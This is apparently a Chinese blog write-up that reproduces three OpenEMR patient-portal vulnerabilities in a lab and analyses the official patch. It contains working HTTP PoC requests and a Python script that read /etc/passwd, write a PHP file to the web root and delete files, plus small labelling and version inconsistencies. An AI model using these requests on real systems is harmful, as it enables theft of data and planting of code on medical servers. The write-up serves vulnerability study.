漏洞概况

在OpenEMR的5.0.1.4版本之前,portal/import_template.php文件中存在漏洞,使用户可以任意读取文件、写入文件以及删除文件。

环境搭建

  • OpenEMR 5.0.1.6.zip
  • php7.2.25
  • Ubuntu 18.04 + mysql 5.7 + apache2

先安装OpenEMR,安装完成后登陆后台http://192.168.247.130/openemr/interface/login/login.php?site=default。

要复现这几个漏洞的入口在/openemr/portal/import_template.php中,所以要先保证portal功能已经被打开了,打开portal的教程在 https://www.open-emr.org/wiki/index.php/Patient_Portal 可以查看。

下面是在openemr 5.1.0.6 版本中打开这个功能

Administrator -> Globals -> Portal,把下面两个都勾上然后保存

  • Enable Version 2 Onsite Patient Portal
  • Enable Version 1 Onsite Patient Portal

1

访问:http://192.168.247.130/openemr6/portal/ ,我们先新建一个patient

2

填写以下病人的姓名、生日和邮箱。

3

然后修改填写CityStreetSelect Primary Physician以及Gender,下一步

4

现在是漏洞复现,没有Insurance Company,直接填写Self即可,Next

5

点击Send Request,会跳出窗口提示Unable to either create credentials or send email.,这很正常,回到后台管理

6

选择Patient/Client -> Patients,里面已经有注册的Patient了,修改一下他的信息。

7

Edit Demographics

8

在这里我们把下面两个选项都选为YES,保存

  • Allow Email
  • Allow Patient Portal

9

然后重置Onsite Portal Credentials

10

在这里可以更改密码,注意username系统会做一点小变动,防止重名

11

12

然后再访问http://your-ip/openemr/portal ,现在可以登陆了,不过要注意这里的Username的后面会有一个数字

13

登陆后会让你再修改密码

14

成功登陆,到这里就配置好了。

15

CVE-2018-15140 Arbitrary File Read

漏洞代码在portal/import_template.php的第27行至第29行,当post请求中的mode参数为get时,就会调用file_get_contents()函数读取docid参数指定的文件。

1
2
3
4
if ($_POST['mode'] == 'get') {
echo file_get_contents($_POST['docid']);
exit;
}

我们用HackBar,向http://your-ip/openemr/portal/import_template.php发送post请求,请求参数有两个,一个是mode,另一个是docid,我们令mode=getdocid=/etc/passwd

16

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /openemr/portal/import_template.php HTTP/1.1
Host: 192.168.247.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.247.130
Connection: close
Referer: http://192.168.247.130/openemr/portal/import_template.php
Cookie: OpenEMR=q4qghctahk59ckgikffv8st2oe; sid=5gficdqudmeg24obi1coii58k5; PHPSESSID=4vj50sts66bu8bu6537tr3pjsc; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1

mode=get&docid=%2Fetc%2Fpasswd

17

Python 脚本:

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__author__ = 'Bantian'

print (r'''
___ _____ __ __ ____
/ _ \ _ __ ___ _ __ | ____| \/ | _ \
| | | | '_ \ / _ \ '_ \| _| | |\/| | |_) |
| |_| | |_) | __/ | | | |___| | | | _ <
\___/| .__/ \___|_| |_|_____|_| |_|_| \_\
|_|

By Bantian

CVE-2018-15140 Arbitrary File Read
''')

import requests
import sys
import argparse

s = requests.session()

ap = argparse.ArgumentParser(description="OpenEMR 5.0.1 SQL Injection")
ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr)")
ap.add_argument("-u", "--user", help="Admin username")
ap.add_argument("-p", "--password", help="Admin password")
ap.add_argument("-d", "--docid", help="docid")
args = ap.parse_args()

def login():
logindata = {
"new_login_session_management" : "1",
"authProvider" : "Default",
"authUser" : args.user,
"clearPass" : args.password,
"languageChoice" : "1"
}

url = args.host+"/openemr/interface/main/main_screen.php?auth=login&site=default"
r = s.post(url=url, data=logindata)
if r.status_code != 200:
sys.exit(1)
print ("Login Successfully.")

def exp():
url = args.host + "/openemr/portal/import_template.php"
data = {
"mode" : "get",
"docid" : args.docid
}

r = s.post(url=url, data=data)
print(r.text)


if __name__ == "__main__":
login()
exp()

31

CVE-2018-15141 Arbitrary File Write

相关的漏洞代码在portal/import_template.php的第30行至第32行,当post请求中的mode参数为save时,直接调用file_put_contents()docid参数指定的文件中写入content参数指定的内容。

1
2
3
4
else if ($_POST['mode'] == 'save') {
file_put_contents($_POST['docid'], $_POST['content']);
exit(true);
}

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /openemr/portal/import_template.php HTTP/1.1
Host: 192.168.247.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://192.168.247.130
Connection: close
Referer: http://192.168.247.130/openemr/portal/import_template.php
Cookie: OpenEMR=ctkf7q7hacd1vje10bc27f0ieu; PHPSESSID=vfd1fnremi3ih39ok3j3c0dcam
Upgrade-Insecure-Requests: 1

mode=save&docid=payload.php&content=<?php phpinfo(); ?>

18

上传的文件保存在portal/文件夹下,访问http://your-ip/openemr/portal/payload.php

19

CVE-2018-15142 Arbitrary File Delete

漏洞相关代码在portal/import_template.php的第33行至第35行

1
2
3
4
else if ($_POST['mode'] == 'delete') {
unlink($_POST['docid']);
exit(true);
}

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /openemr/portal/import_template.php HTTP/1.1
Host: 192.168.247.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.247.130
Connection: close
Referer: http://192.168.247.130/openemr/portal/import_template.php
Cookie: OpenEMR=ctkf7q7hacd1vje10bc27f0ieu; PHPSESSID=vfd1fnremi3ih39ok3j3c0dcam
Upgrade-Insecure-Requests: 1

mode=delete&docid=payload.php

20

删完后访问http://your-ip/openemr/portal/payload.php ,无法访问

21

官方补丁

patch

validateFile()函数:

patch-2

分析一下上面的补丁validateFile()函数,首先可以知道变量$knowpath是保存template的路径

24

25

接着调用str_replace()函数把filename中的\\全部替换为/,我们传入/etc/passwd,得到的结果就是/etc/passwd,存入$unknown

接着调用pathinfo() 函数,path info()函数以数组的形式返回文件路径的信息。

27

/etc/passwd的路径信息存入$parts变量

26

1
2
$unkParts = explode('/', $parts['dirname']);
$ptpid = $unkParts[count($unkParts) - 1];

$ptpid中保存的则是路径的dirname

28

接着会用$knownPath$ptpid$parts['filename']tpl拼凑成新的路径$rebuildPath

29

然后检查该文件是否存在以及文件后缀名是否是合法的tpl

30

OpenRASP插件

这个补丁中用了file_exists()函数来判断文件是否存在,但是这在javascript中是无法做到的,javascript是前端文件,它没有读取后端文件的能力,如果js能够做到,那我们的服务器将会变得很脆弱。所以对于这个case来说,很难转化为OpenRASP插件来防御。

参考

  1. https://www.exploit-db.com/exploits/45202
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15140
  3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15141
  4. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15142